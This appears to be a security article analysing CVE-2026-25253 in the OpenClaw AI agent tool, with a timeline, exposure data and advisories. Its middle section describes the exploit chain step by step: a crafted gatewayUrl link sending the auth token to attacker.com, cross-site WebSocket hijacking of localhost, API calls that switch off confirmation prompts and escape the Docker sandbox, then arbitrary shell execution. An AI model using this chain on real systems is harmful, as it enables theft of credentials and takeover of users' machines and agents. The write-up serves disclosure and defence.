CVE-2026-25253 is a CVSS 8.8 remote code execution vulnerability in OpenClaw that converts a single mouse click into full system compromise. The flaw, classified under CWE-669 (Incorrect Resource Transfer Between Spheres), allows an attacker to steal a user's authentication token, hijack the loca...
"Defensive sandbox and safety guardrails were designed to contain malicious LLM actions, but they don't protect from this vulnerability." — Mav Levin, Founding Security Researcher, depthfirst
CVE-2026-25253 is a CVSS 8.8 remote code execution vulnerability in OpenClaw that converts a single mouse click into full system compromise. The flaw, classified under CWE-669 (Incorrect Resource Transfer Between Spheres), allows an attacker to steal a user's authentication token, hijack the local WebSocket connection, disable all safety guardrails, escape the Docker sandbox, and execute arbitrary shell commands — in milliseconds.
The vulnerability was discovered by Mav Levin of the depthfirst research team in late January 2026 and patched in version 2026.1.29 on January 30. Versions up to v2026.1.24-1 were affected. The GitHub Security Advisory was published as GHSA-g8p2-7wf7-98mq on January 31. Between the public announcement and the patch, Terrace Networks honeypot data recorded exploitation scanning beginning within hours. Censys tracked exposed instances growing from approximately 1,000 to over 21,000 in six days.
Belgium's Centre for Cybersecurity (CCB) issued an emergency advisory on February 2. The University of Toronto published a vulnerability notification on February 4. By the time ClawHavoc — the supply chain poisoning campaign — launched at scale, thousands of instances remained unpatched.
The root cause is a logic flaw in OpenClaw's Control UI. The application accepts a gatewayUrl parameter from the URL query string and persists it to local storage without validation. On page load, the system calls connectGateway() immediately — no user confirmation required. The WebSocket connection handshake automatically bundles the user's stored authToken into the payload.
According to Peter Steinberger's own advisory, the Control UI "trusts gatewayUrl from the query string without validation and auto-connects on load, sending the stored gateway token in the WebSocket connect payload."
The second failure: OpenClaw's WebSocket server does not validate the Origin header. It accepts connections from any website. A page running on attacker.com can establish a WebSocket connection to ws://localhost:18789 — OpenClaw's default port — through the victim's browser. The browser acts as the bridge.
Two missing checks. Zero user interaction beyond one click. Full system access.
The depthfirst research team documented a five-step exploitation chain that executes end-to-end in milliseconds. Each step feeds the next. None requires additional user interaction after the initial click.
The attack begins with a crafted URL. In app-settings.ts, OpenClaw blindly accepts a gatewayUrl query parameter and persists it to storage. A link formatted as https://localhost?gatewayUrl=attacker.com overwrites the legitimate gateway address with the attacker's server.
The victim does not see a confirmation dialog. There is no warning. The URL parameter is processed silently on page load. The attacker distributes the link through any channel — email, chat, social media, embedded in a webpage, or injected through a compromised skill's documentation.
Once the gateway URL is overwritten, app-lifecycle.ts executes connectGateway() immediately. The system opens a WebSocket connection to the attacker's server. The gateway.ts module automatically includes the authToken in the connection handshake.
Simultaneously, the attacker's malicious webpage executes client-side JavaScript that connects directly to ws://localhost:18789 — the victim's local OpenClaw gateway. This is a Cross-Site WebSocket Hijacking (CSWSH) attack. It works because OpenClaw's WebSocket server performs no Origin header validation. The server cannot distinguish between a legitimate local connection and a malicious cross-origin request initiated by the attacker's JavaScript through the victim's browser.
The attacker now holds two things: the victim's authentication token (exfiltrated to attacker.com) and a live WebSocket connection to the victim's local gateway (through the browser pivot).
The stolen token carries operator.admin and operator.approvals scopes. These are the highest privilege levels in OpenClaw's permission model. With this token, the attacker has the same access as the authenticated user — which, given OpenClaw's architecture, means access to email, calendar, messaging, file system, shell commands, browser automation, and every connected integration.
The token was designed to authorize the user's own interactions with their gateway. It was never intended to be exposed to external parties. The missing Origin validation means any website the user visits while authenticated to OpenClaw's Control UI can capture it.
OpenClaw runs operations inside a Docker container by default. Users must confirm potentially dangerous actions before execution. These two mechanisms — containerization and confirmation prompts — constitute the tool's primary safety architecture.
The attacker dismantles both with two API calls:
Disable user confirmation: The attacker sends an exec.approvals.set request with ask: "off". This removes the confirmation dialog for all subsequent operations. The user sees nothing. The guardrail designed to prevent unauthorized actions is silently removed.
Escape the Docker container: The attacker sends a config.patch request setting tools.exec.host to "gateway". This reconfigures the execution environment to run commands directly on the host machine rather than inside the sandboxed container. The isolation boundary is gone.
Both API calls execute through the WebSocket connection using the stolen operator-level token. Both succeed silently. The user receives no notification.
With confirmations disabled and the sandbox bypassed, the attacker sends a node.invoke request. The payload specifies a system.run command with arbitrary shell instructions. Depthfirst's proof-of-concept used bash -c 'echo hacked > /tmp/hacked'. In practice, the command could install backdoors, exfiltrate files, deploy ransomware, pivot to network-adjacent systems, or harvest every credential and memory file OpenClaw stores.
The commands execute with whatever OS privileges the OpenClaw process runs under. For the majority of users — those who followed default installation instructions — this is their primary user account. On macOS, this typically means access to the Desktop, Documents, Downloads, Keychain, and every application's data directory.
Levin characterized the full exploit chain as completing "in milliseconds after a victim visits a single malicious web page." The sequence:
gatewayUrl parameter processed, gateway token transmitted to attacker serverws://localhost:18789 via victim's browserexec.approvals.set sent — confirmation prompts disabledconfig.patch sent — Docker sandbox bypassednode.invoke sent — arbitrary shell command executed on hostSub-second. No dialog boxes. No warnings. No visual indicators. The browser tab that delivered the exploit can display a benign webpage while the attack completes in the background.
A common assumption among self-hosted software users: if the service binds to 127.0.0.1 (localhost) and is not exposed to the internet, it is safe from external attack. CVE-2026-25253 invalidates this assumption entirely.
Steinberger confirmed: the attack works "even when the gateway binds to loopback because the victim's browser acts as the bridge." The browser is already running on localhost. It has network access to 127.0.0.1:18789. When a malicious website instructs the browser to open a WebSocket to that address, the browser complies — it is making a local connection, which operating systems and firewalls permit by default.
This is the same class of attack that has historically compromised development tools, database management interfaces, and local API servers. The difference with OpenClaw is the scope of access at stake: not a database, but the user's entire digital life — email, messages, files, shell, credentials, and a plain-text memory archive of their daily activities, relationships, and finances.
The timeline between vulnerability announcement and active exploitation measured in hours, not days.
January 25, 2026: OpenClaw goes viral on Hacker News. A security audit (GitHub Issue #1796) identifies 512 vulnerabilities, 8 critical.
January 26, 2026: Terrace Networks honeypot data records the first exploitation scanning on TCP port 18789 — the same day as the Hacker News announcement. Scanning sources showed a "smooth rise" over subsequent days, indicating broad, automated bot activity rather than targeted campaigns.
January 30, 2026: Version 2026.1.29 released, patching CVE-2026-25253. GitHub Security Advisory GHSA-g8p2-7wf7-98mq published the following day.
January 31 – February 9, 2026: Censys documented growth from approximately 1,000 to over 21,000 publicly exposed instances between January 25 and 31. Bitsight identified over 30,000 exposed instances in a broader window. SecurityScorecard's STRIKE team ultimately found 135,000+ unique IPs running OpenClaw across 82 countries, with 12,812 exploitable via RCE. Independent researcher Maor Dayan identified 42,665 exposed instances, of which 5,194 were actively vulnerable — 93.4% exhibiting authentication bypass.
The patch existed. The adoption lagged. And the scanning was already underway before the fix shipped.
Belgium's Centre for Cybersecurity (CCB) — February 2, 2026: Issued an emergency advisory rating the vulnerability at CVSS 8.8, recommending organizations install updates "with the highest priority, after thorough testing." The CCB noted a critical caveat: patching prevents future exploitation but "does not remediate historical compromise." Organizations were advised to assume prior breaches may have exposed API keys and stored credentials.
University of Toronto Information Security — February 4, 2026: Published a vulnerability notification advising users to update to version 2026.1.29 or later, rotate all tokens and credentials, avoid browsing untrusted pages while logged into the Control UI, use isolated browser profiles, and monitor logs for unauthorized configuration changes.
Microsoft Security Blog — February 19, 2026: Published "Running OpenClaw Safely: Identity, Isolation, and Runtime Risk," characterizing OpenClaw deployments as "self-hosted agents [that] execute code with durable credentials and process untrusted input," creating "dual supply chain risk, where skills and external instructions converge in the same runtime."
SecurityScorecard — February 2026: Warned that "the more centralized the access, the more damage a single compromise can cause. What looks like convenience is actually a concentration of risk."
CVE-2026-25253 belongs to a lineage of 1-click exploitation techniques, though its scope of post-compromise access distinguishes it from predecessors.
NSO Group's Pegasus (2016): The original Pegasus deployment required a victim to click a link in an SMS message — a 1-click exploit chain that delivered full smartphone surveillance. NSO later evolved to zero-click attacks (FORCEDENTRY in 2021, BLASTPASS in 2023), which required no user interaction at all. Google Project Zero called FORCEDENTRY "one of the most technically sophisticated exploits we've ever seen." Pegasus was state-sponsored, sold for millions per deployment, and targeted journalists and dissidents.
CVE-2026-25253 vs. Pegasus: OpenClaw's vulnerability required less technical sophistication to exploit than Pegasus. No memory corruption. No sandbox escape through kernel bugs. No zero-day browser chain. The OpenClaw kill chain used standard WebSocket APIs and HTTP requests — tools available to any web developer. The barrier to exploitation was not capability but knowledge. Once the depthfirst writeup was public, any attacker with basic JavaScript proficiency could reproduce it.
The difference in post-compromise access is also significant. Pegasus targeted mobile devices — contacts, messages, camera, microphone. CVE-2026-25253 targeted a tool that connects to 50+ integrations, stores session transcripts as JSONL, and maintains plain-text memory files documenting the user's relationships, financial details, daily activities, and credentials. The attack surface is not a phone. It is the user's entire computing environment and every service connected to it.
Where Pegasus cost governments millions to deploy against individual targets, CVE-2026-25253 could be weaponized at scale through a single malicious webpage — no government contract required.
CVE-2026-25253 is not a complex exploit. It chains two missing validation checks — a query parameter and a WebSocket Origin header — into a full system compromise. The technical sophistication required to exploit it is minimal. The damage it enables is maximal, given OpenClaw's access to email, messaging, file systems, shell commands, credentials, and plain-text memory files containing the user's personal life.
The patch shipped on January 30. Scanning began January 26. The gap between viral adoption and security hardening was measured in days. For the thousands of instances that remained unpatched when ClawHavoc's supply chain attack launched the following day, CVE-2026-25253 was not a theoretical risk — it was an open door.
Part 3 of this series examines what walked through that door: the ClawHavoc campaign, 1,184 malicious skills, and the supply chain poisoning of OpenClaw's marketplace.